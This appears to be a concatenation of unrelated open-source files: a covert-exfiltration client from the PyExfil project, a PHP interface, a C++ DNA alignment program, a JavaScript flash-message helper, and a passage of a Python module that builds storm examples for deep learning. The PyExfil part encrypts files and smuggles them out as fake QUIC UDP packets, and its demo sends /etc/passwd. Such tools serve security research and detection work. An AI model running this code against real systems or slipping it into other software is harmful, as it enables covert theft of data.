return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
@staticmethod
def _unpad(s):
return s[:-ord(s[len(s)-1:])]
class QUICClient():
def __init__(self, host, key, port=443, max_size=4096):
# Params for all class
self.host = host
self.port = port
self.max_size = max_size - 60
self.AESDriver = AESCipher(key=key)
self.serv_addr = (host, port)
# Class Globals
self.max_packets = 255 # Limitation by QUIC itself.
self._genSeq() # QUIC Sequence is used to know that this is the same sequence,
# and it's a 20 byte long that is kept the same through out the
# session and is transfered hex encoded.
self.delay = 0.1
self.sock = None
if self._createSocket() is 1: # Creating a UDP socket object
sys.exit(1)
self.serv_addr = (self.host, self.port) # Creating socket addr format
def _genSeq(self):
self.raw_sequence = random.getrandbits(64)
parts = []
while self.raw_sequence:
parts.append(self.raw_sequence & limit)
self.raw_sequence >>= 32
self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
# struct.unpack('<LL', '\xb1l\x1c\xb1\x11"\x10\xf4')
return 0
def _createSocket(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock = sock
return 0
except socket.error as e:
sys.stderr.write("[!]\tFailed to create a UDP socket.\n%s.\n" % e)
return 1
def _getQUICHeader(self, count):
if type(count) is not hex:
try:
count_id = chr(count)
except:
sys.stderr.write("Count must be int or hex.\n")
return 1
else:
count_id = count
if count > self.max_packets:
sys.stderr.write("[-]\tCount must be maximum of 255.\n")
return 1
header = "\x0c" # Public Flags
header += self.sequence # Adding CID
header += count_id # Packet Count
return header
def _getFileContent(self, file_path):
try:
f = open(file_path, 'rb')
data = f.read()
f.close()
sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
return data
except IOError, e:
sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
return 1
def sendFile(self, file_path):
# Get File content
data = self._getFileContent(file_path)
if data == 1:
return 1
# Check that the file is not too big.
if len(data) > (self.max_packets * self.max_size):
sys.stderr.write("[!]\tFile is too big for export.\n")
return 1
# If the file is not too big, start exfiltration
# Exfiltrate first packet
md5_sum = md5(file_path) # Get MD5 sum of file
packets_count = (len(data) / self.max_size)+1 # Total packets
first_packet = self._getQUICHeader(count=0) # Get header for first file
r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count) # First header
r_data = self.AESDriver.encrypt(r_data) # Encrypt data
self.sock.sendto(first_packet + r_data, self.serv_addr) # Send the data
sys.stdout.write("[+]\tSent initiation packet.\n")
# encrypted_content = self.AESDriver.encrypt(data)
# Encrypt the Chunks
raw_dat = ""
chunks = []
while data:
raw_dat += data[:self.max_size]
enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
print len(enc_chunk)
chunks.append(enc_chunk)
data = data[self.max_size:]
i = 1
for chunk in chunks:
this_data = self._getQUICHeader(count=i)
this_data += chunk
self.sock.sendto(this_data, self.serv_addr)
time.sleep(self.delay)
sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
i += 1
sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
# self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
return 0
def close(self):
time.sleep(0.1)
self.sock.close()
return 0
if __name__ == "__main__":
client = QUICClient(host='127.0.0.1', key="123", port=443) # Setup a server
a = struct.unpack('<LL', client.sequence) # Get CID used
a = (a[1] << 32) + a[0]
sys.stdout.write("[.]\tExfiltrating with CID: %s.\n" % a)
client.sendFile("/etc/passwd") # Exfil File
client.close() # Close
| ytisf/PyExfil | pyexfil/network/QUIC/quic_client.py | Python | mit | 6,330 |
<?php
namespace MiniLab\SelMap\Data;
interface CellInterface
{
} | olegkolt/selmap | src/MiniLab/SelMap/Data/CellInterface.php | PHP | mit | 71 |
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#include <stdexcept>
#include <boost/program_options.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/tuple/tuple.hpp>
#include <btl/fasta_writer.h>
#include "ereal.h"
#include "dna_sequence.h"
#include "main_io.h"
#include "io.h"
#include "dna_alignment_sequence.h"
#include "rda_functions.h"
#include "krda_improve.h"
#include "needleman.h"
#include "nw_model_parameters.h"
#include "alignment_functions.h"
#include "utility.h"
#include "annotation.h"
#define PARAMETER_ERROR 1
// forward declare version variable
extern const char* build_string;
int main( int argc, char* argv[] ) {
// load program options
using namespace boost::program_options;
using namespace std;
string program_name("rda build ");
program_name += string(build_string);
options_description desc("Allowed options");
desc.add_options()
( "help", "produce help message" )
( "target,t", value<string>(), "first sequence" )
( "query,q", value<string>(), "second sequence" )
( "out,o", value<string>(), "output alignment file" )
( "parameter-file,p", value<string>(), "set parameters from file" )
( "align-method", value<unsigned int>()->default_value(0), "alignment method: 0 RDA, 1 needleman" )
( "block-size,k", value<unsigned int>()->default_value(40), "maximum block size" )
( "block-breaks", "add pure gap sites as block breaks" )
( "output-maf", "output alignment in MAF format")
;
variables_map vm;
store( parse_command_line( argc, argv, desc ), vm );
notify(vm);
if( (argc < 2) || vm.count("help")) {
cout << program_name << endl << desc << endl;
return 1;
}
require_option( vm, "target", PARAMETER_ERROR );
require_option( vm, "query", PARAMETER_ERROR );
unsigned int K = vm.count("block-size") ? vm["block-size"].as<unsigned int>() : 40;
// precompute lookup tables
ereal::init();
try {
dna_sequence_ptr target,query;
target = load_sequence( vm["target"].as<string>() );
query = load_sequence( vm["query"].as<string>() );
require_size_above( *target, 1 );
require_size_above( *query, 1 );
krda_improve<needleman> krda;
krda.set_k(K);
needleman nw;
// load parameter file if needed
if( vm.count("parameter-file") ) {
nw_model_parameters_ptr mp = load_parameters_from_file( vm["parameter-file"].as<string>() );
krda.set_parameters( *mp );
nw.set_s( mp->pr_open, mp->p, mp->q );
nw.set_mean_gap_length( mp->mean_gap_length );
}
if( vm.count("block-breaks") ) krda.set_block_marker( true );
// build final alignment by aligning each identified region with needleman wunch
dna_alignment_sequence_ptr alignmenta = new_dna_alignment_sequence();
dna_alignment_sequence_ptr alignmentb = new_dna_alignment_sequence();
pairwise_dna_alignment final = pairwise_dna_alignment( alignmenta, alignmentb, 0 );
dna_sequence_region_ptr alla = new_dna_sequence_region(target), allb = new_dna_sequence_region(query);
vector< pair<dna_sequence_region_ptr,dna_sequence_region_ptr> > training_set;
training_set.push_back( make_pair(alla,allb) );
// open output file now so that if there is a problem we don't waste time aligning stuff
ofstream out_file;
if( vm.count("out") ) {
out_file.open( vm["out"].as<string>().c_str(), ios::out|ios::trunc );
if( out_file.fail() ) {
cerr << "unable to open " << vm["out"].as<string>() << " for writing" << endl;
return 4;
}
}
annotation_ptr myann;
switch( vm["align-method"].as<unsigned int>() ) {
case 1:
final = nw.align(*alla,*allb);
break;
case 0:
final = krda.align(*alla,*allb);
break;
default:
throw runtime_error("unknown alignment method");
}
// label alignments
final.a->tags["accession"] = target->tags["accession"];
final.b->tags["accession"] = query->tags["accession"];
string info = program_name;
switch( vm["align-method"].as<unsigned int>() ) {
case 1:
info += string(" nm score=") + boost::lexical_cast<string>((double)final.score);
break;
case 0:
info += string(" rda k=") + boost::lexical_cast<string>(K);
info += string(" score=") + boost::lexical_cast<string>((double)final.score);
}
final.a->tags["description"] = final.b->tags["description"] = info;
ostream *out = vm.count("out") ? &out_file : &cout;
if( vm.count("output-maf") ) {
// Output MAF format.
*out << "##maf version=1" << endl;
*out << "a score=" << final.score << endl;
*out << "s " << final.a->tags["accession"] << "\t0\t" << target->data.size() << "\t+\t" << target->data.size() << "\t";
for( dna_alignment_sequence_data::const_iterator j = final.a->data.begin(); j != final.a->data.end(); ++j ) *out << *j;
*out << endl;
*out << "s " << final.b->tags["accession"] << "\t0\t" << query->data.size() << "\t+\t" << query->data.size() << "\t";
for( dna_alignment_sequence_data::const_iterator j = final.b->data.begin(); j != final.b->data.end(); ++j ) *out << *j;
*out << endl;
} else {
*out << btl::fasta_writer( *final.a );
*out << btl::fasta_writer( *final.b );
}
if( vm.count("out") ) out_file.close();
} catch( exception &e ) {
cerr << "FATAL: " << e.what() << endl;
}
return 0;
}
| akhudek/feast | src/rda/rda_main.cc | C++ | mit | 5,604 |
function flashMessage(type, message) {
var flashContainer = $('#flash-message');
var flash = null;
if (message.title) {
flash = $('<div class="alert alert-block alert-' + type + '"><h4 class="alert-heading">' + message.title + '</h4><p>' + message.message + '</p></div>');
}
else {
flash = $('<div class="alert alert-block alert-' + type + '"><p>' + message + '</p></div>');
}
flashContainer.append(flash);
setupFlash.call(flash);
}
function setupFlash()
{
var flash = $(this);
if (flash.html() != '') {
var timeout = flash.data('timeout');
if (timeout) {
clearTimeout(timeout);
}
if (!flash.hasClass('alert-danger')) {
flash.data('timeout', setTimeout(function() { flash.fadeOut(400, function() { $(this).remove(); }); }, 5000));
}
flash.fadeIn();
}
}
function showFlashMessage() {
var flashes = $('#flash-message .alert');
flashes.each(setupFlash);
}
function initFlashMessage(){
$('#flash-message').on('click', '.alert', function() { $(this).fadeOut(400, function() { $(this).remove(); }) ; });
showFlashMessage();
}
| marcos-sandim/phalcon-proj | public/js/app.js | JavaScript | mit | 1,175 |
"""Deals with input examples for deep learning.
One "input example" is one storm object.
--- NOTATION ---
The following letters will be used throughout this module.
E = number of examples (storm objects)
M = number of rows in each radar image
N = number of columns in each radar image
H_r = number of radar heights
F_r = number of radar fields (or "variables" or "channels")
H_s = number of sounding heights
F_s = number of sounding fields (or "variables" or "channels")
C = number of radar field/height pairs
"""
import copy
import glob
import os.path
import numpy
import netCDF4
from gewittergefahr.gg_utils import radar_utils
from gewittergefahr.gg_utils import soundings
from gewittergefahr.gg_utils import target_val_utils
from gewittergefahr.gg_utils import time_conversion
from gewittergefahr.gg_utils import number_rounding
from gewittergefahr.gg_utils import temperature_conversions as temp_conversion
from gewittergefahr.gg_utils import storm_tracking_utils as tracking_utils
from gewittergefahr.gg_utils import file_system_utils
from gewittergefahr.gg_utils import error_checking
from gewittergefahr.deep_learning import storm_images
from gewittergefahr.deep_learning import deep_learning_utils as dl_utils
SEPARATOR_STRING = '\n\n' + '*' * 50 + '\n\n'
BATCH_NUMBER_REGEX = '[0-9][0-9][0-9][0-9][0-9][0-9][0-9]'
TIME_FORMAT_IN_FILE_NAMES = '%Y-%m-%d-%H%M%S'
DEFAULT_NUM_EXAMPLES_PER_OUT_CHUNK = 8
DEFAULT_NUM_EXAMPLES_PER_OUT_FILE = 128
NUM_BATCHES_PER_DIRECTORY = 1000
AZIMUTHAL_SHEAR_FIELD_NAMES = [
radar_utils.LOW_LEVEL_SHEAR_NAME, radar_utils.MID_LEVEL_SHEAR_NAME
]
TARGET_NAMES_KEY = 'target_names'
ROTATED_GRIDS_KEY = 'rotated_grids'
ROTATED_GRID_SPACING_KEY = 'rotated_grid_spacing_metres'
FULL_IDS_KEY = 'full_storm_id_strings'
STORM_TIMES_KEY = 'storm_times_unix_sec'
TARGET_MATRIX_KEY = 'target_matrix'
RADAR_IMAGE_MATRIX_KEY = 'radar_image_matrix'
RADAR_FIELDS_KEY = 'radar_field_names'
RADAR_HEIGHTS_KEY = 'radar_heights_m_agl'
SOUNDING_FIELDS_KEY = 'sounding_field_names'
SOUNDING_MATRIX_KEY = 'sounding_matrix'
SOUNDING_HEIGHTS_KEY = 'sounding_heights_m_agl'
REFL_IMAGE_MATRIX_KEY = 'reflectivity_image_matrix_dbz'
AZ_SHEAR_IMAGE_MATRIX_KEY = 'az_shear_image_matrix_s01'
MAIN_KEYS = [
FULL_IDS_KEY, STORM_TIMES_KEY, RADAR_IMAGE_MATRIX_KEY,
REFL_IMAGE_MATRIX_KEY, AZ_SHEAR_IMAGE_MATRIX_KEY, TARGET_MATRIX_KEY,
SOUNDING_MATRIX_KEY
]
REQUIRED_MAIN_KEYS = [
FULL_IDS_KEY, STORM_TIMES_KEY, TARGET_MATRIX_KEY
]
METADATA_KEYS = [
TARGET_NAMES_KEY, ROTATED_GRIDS_KEY, ROTATED_GRID_SPACING_KEY,
RADAR_FIELDS_KEY, RADAR_HEIGHTS_KEY, SOUNDING_FIELDS_KEY,
SOUNDING_HEIGHTS_KEY
]
TARGET_NAME_KEY = 'target_name'
TARGET_VALUES_KEY = 'target_values'
EXAMPLE_DIMENSION_KEY = 'storm_object'
ROW_DIMENSION_KEY = 'grid_row'
COLUMN_DIMENSION_KEY = 'grid_column'
REFL_ROW_DIMENSION_KEY = 'reflectivity_grid_row'
REFL_COLUMN_DIMENSION_KEY = 'reflectivity_grid_column'
AZ_SHEAR_ROW_DIMENSION_KEY = 'az_shear_grid_row'
AZ_SHEAR_COLUMN_DIMENSION_KEY = 'az_shear_grid_column'
RADAR_FIELD_DIM_KEY = 'radar_field'
RADAR_HEIGHT_DIM_KEY = 'radar_height'
RADAR_CHANNEL_DIM_KEY = 'radar_channel'
SOUNDING_FIELD_DIM_KEY = 'sounding_field'
SOUNDING_HEIGHT_DIM_KEY = 'sounding_height'
TARGET_VARIABLE_DIM_KEY = 'target_variable'
STORM_ID_CHAR_DIM_KEY = 'storm_id_character'
RADAR_FIELD_CHAR_DIM_KEY = 'radar_field_name_character'
SOUNDING_FIELD_CHAR_DIM_KEY = 'sounding_field_name_character'
TARGET_NAME_CHAR_DIM_KEY = 'target_name_character'
RADAR_FIELD_KEY = 'radar_field_name'
OPERATION_NAME_KEY = 'operation_name'
MIN_HEIGHT_KEY = 'min_height_m_agl'
MAX_HEIGHT_KEY = 'max_height_m_agl'
MIN_OPERATION_NAME = 'min'
MAX_OPERATION_NAME = 'max'
MEAN_OPERATION_NAME = 'mean'
VALID_LAYER_OPERATION_NAMES = [
MIN_OPERATION_NAME, MAX_OPERATION_NAME, MEAN_OPERATION_NAME
]
OPERATION_NAME_TO_FUNCTION_DICT = {
MIN_OPERATION_NAME: numpy.min,
MAX_OPERATION_NAME: numpy.max,
MEAN_OPERATION_NAME: numpy.mean
}
MIN_RADAR_HEIGHTS_KEY = 'min_radar_heights_m_agl'
MAX_RADAR_HEIGHTS_KEY = 'max_radar_heights_m_agl'
RADAR_LAYER_OPERATION_NAMES_KEY = 'radar_layer_operation_names'
def _read_soundings(sounding_file_name, sounding_field_names, radar_image_dict):
"""Reads storm-centered soundings and matches w storm-centered radar imgs.
:param sounding_file_name: Path to input file (will be read by
`soundings.read_soundings`).
:param sounding_field_names: See doc for `soundings.read_soundings`.
:param radar_image_dict: Dictionary created by
`storm_images.read_storm_images`.
:return: sounding_dict: Dictionary created by `soundings.read_soundings`.
:return: radar_image_dict: Same as input, but excluding storm objects with
no sounding.
"""
print('Reading data from: "{0:s}"...'.format(sounding_file_name))
sounding_dict, _ = soundings.read_soundings(
netcdf_file_name=sounding_file_name,
field_names_to_keep=sounding_field_names,
full_id_strings_to_keep=radar_image_dict[storm_images.FULL_IDS_KEY],
init_times_to_keep_unix_sec=radar_image_dict[
storm_images.VALID_TIMES_KEY]
)
num_examples_with_soundings = len(sounding_dict[soundings.FULL_IDS_KEY])
if num_examples_with_soundings == 0:
return None, None
radar_full_id_strings = numpy.array(
radar_image_dict[storm_images.FULL_IDS_KEY]
)
orig_storm_times_unix_sec = (
radar_image_dict[storm_images.VALID_TIMES_KEY] + 0
)
indices_to_keep = []
for i in range(num_examples_with_soundings):
this_index = numpy.where(numpy.logical_and(
radar_full_id_strings == sounding_dict[soundings.FULL_IDS_KEY][i],
orig_storm_times_unix_sec ==
sounding_dict[soundings.INITIAL_TIMES_KEY][i]
))[0][0]
indices_to_keep.append(this_index)
indices_to_keep = numpy.array(indices_to_keep, dtype=int)
radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY] = radar_image_dict[
storm_images.STORM_IMAGE_MATRIX_KEY
][indices_to_keep, ...]
radar_image_dict[storm_images.FULL_IDS_KEY] = sounding_dict[
soundings.FULL_IDS_KEY
]
radar_image_dict[storm_images.VALID_TIMES_KEY] = sounding_dict[
soundings.INITIAL_TIMES_KEY
]
return sounding_dict, radar_image_dict
def _create_2d_examples(
radar_file_names, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 2-D examples for one file time.
E = number of desired examples (storm objects)
e = number of examples returned
T = number of target variables
:param radar_file_names: length-C list of paths to storm-centered radar
images. Files will be read by `storm_images.read_storm_images`.
:param full_id_strings: length-E list with full IDs of storm objects to
return.
:param storm_times_unix_sec: length-E numpy array with valid times of storm
objects to return.
:param target_matrix: E-by-T numpy array of target values (integer class
labels).
:param sounding_file_name: Path to sounding file (will be read by
`soundings.read_soundings`). If `sounding_file_name is None`, examples
will not include soundings.
:param sounding_field_names: See doc for `soundings.read_soundings`.
:return: example_dict: Same as input for `write_example_file`, but without
key "target_names".
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_channels = len(radar_file_names)
tuple_of_image_matrices = ()
for j in range(num_channels):
if j != 0:
print('Reading data from: "{0:s}"...'.format(radar_file_names[j]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
radar_field_names = [
storm_images.image_file_name_to_field(f) for f in radar_file_names
]
radar_heights_m_agl = numpy.array(
[storm_images.image_file_name_to_height(f) for f in radar_file_names],
dtype=int
)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict
def _create_3d_examples(
radar_file_name_matrix, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 3-D examples for one file time.
:param radar_file_name_matrix: numpy array (F_r x H_r) of paths to storm-
centered radar images. Files will be read by
`storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_name_matrix[0, 0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[0, 0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_radar_fields = radar_file_name_matrix.shape[0]
num_radar_heights = radar_file_name_matrix.shape[1]
tuple_of_4d_image_matrices = ()
for k in range(num_radar_heights):
tuple_of_3d_image_matrices = ()
for j in range(num_radar_fields):
if not j == k == 0:
print('Reading data from: "{0:s}"...'.format(
radar_file_name_matrix[j, k]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[j, k],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_3d_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
tuple_of_4d_image_matrices += (
dl_utils.stack_radar_fields(tuple_of_3d_image_matrices),
)
radar_field_names = [
storm_images.image_file_name_to_field(f)
for f in radar_file_name_matrix[:, 0]
]
radar_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in radar_file_name_matrix[0, :]
], dtype=int)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_4d_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict
def _create_2d3d_examples_myrorss(
azimuthal_shear_file_names, reflectivity_file_names,
full_id_strings, storm_times_unix_sec, target_matrix,
sounding_file_name=None, sounding_field_names=None):
"""Creates hybrid 2D-3D examples for one file time.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
:param azimuthal_shear_file_names: length-2 list of paths to storm-centered
azimuthal-shear images. The first (second) file should be (low)
mid-level azimuthal shear. Files will be read by
`storm_images.read_storm_images`.
:param reflectivity_file_names: length-H list of paths to storm-centered
reflectivity images, where H = number of reflectivity heights. Files
will be read by `storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(reflectivity_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
azimuthal_shear_field_names = [
storm_images.image_file_name_to_field(f)
for f in azimuthal_shear_file_names
]
reflectivity_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in reflectivity_file_names
], dtype=int)
num_reflectivity_heights = len(reflectivity_file_names)
tuple_of_image_matrices = ()
for j in range(num_reflectivity_heights):
if j != 0:
print('Reading data from: "{0:s}"...'.format(
reflectivity_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
this_matrix = numpy.expand_dims(
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], axis=-1
)
tuple_of_image_matrices += (this_matrix,)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: azimuthal_shear_field_names,
RADAR_HEIGHTS_KEY: reflectivity_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
REFL_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
num_az_shear_fields = len(azimuthal_shear_file_names)
tuple_of_image_matrices = ()
for j in range(num_az_shear_fields):
print('Reading data from: "{0:s}"...'.format(
azimuthal_shear_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=azimuthal_shear_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
example_dict.update({
AZ_SHEAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices)
})
return example_dict
def _read_metadata_from_example_file(netcdf_file_name, include_soundings):
"""Reads metadata from file with input examples.
:param netcdf_file_name: Path to input file.
:param include_soundings: Boolean flag. If True and file contains
soundings, this method will return keys "sounding_field_names" and
"sounding_heights_m_agl". Otherwise, will not return said keys.
:return: example_dict: Dictionary with the following keys (explained in doc
to `write_example_file`).
example_dict['full_id_strings']
example_dict['storm_times_unix_sec']
example_dict['radar_field_names']
example_dict['radar_heights_m_agl']
example_dict['rotated_grids']
example_dict['rotated_grid_spacing_metres']
example_dict['target_names']
example_dict['sounding_field_names']
example_dict['sounding_heights_m_agl']
:return: netcdf_dataset: Instance of `netCDF4.Dataset`, which can be used to
keep reading file.
"""
netcdf_dataset = netCDF4.Dataset(netcdf_file_name)
include_soundings = (
include_soundings and
SOUNDING_FIELDS_KEY in netcdf_dataset.variables
)
example_dict = {
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
FULL_IDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[FULL_IDS_KEY][:])
],
STORM_TIMES_KEY: numpy.array(
netcdf_dataset.variables[STORM_TIMES_KEY][:], dtype=int
),
RADAR_FIELDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
# TODO(thunderhoser): This is a HACK to deal with bad files.
example_dict[TARGET_NAMES_KEY] = [
n for n in example_dict[TARGET_NAMES_KEY] if n != ''
]
if example_dict[ROTATED_GRIDS_KEY]:
example_dict[ROTATED_GRID_SPACING_KEY] = getattr(
netcdf_dataset, ROTATED_GRID_SPACING_KEY)
else:
example_dict[ROTATED_GRID_SPACING_KEY] = None
if not include_soundings:
return example_dict, netcdf_dataset
example_dict.update({
SOUNDING_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
],
SOUNDING_HEIGHTS_KEY:
numpy.array(netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:],
dtype=int)
})
return example_dict, netcdf_dataset
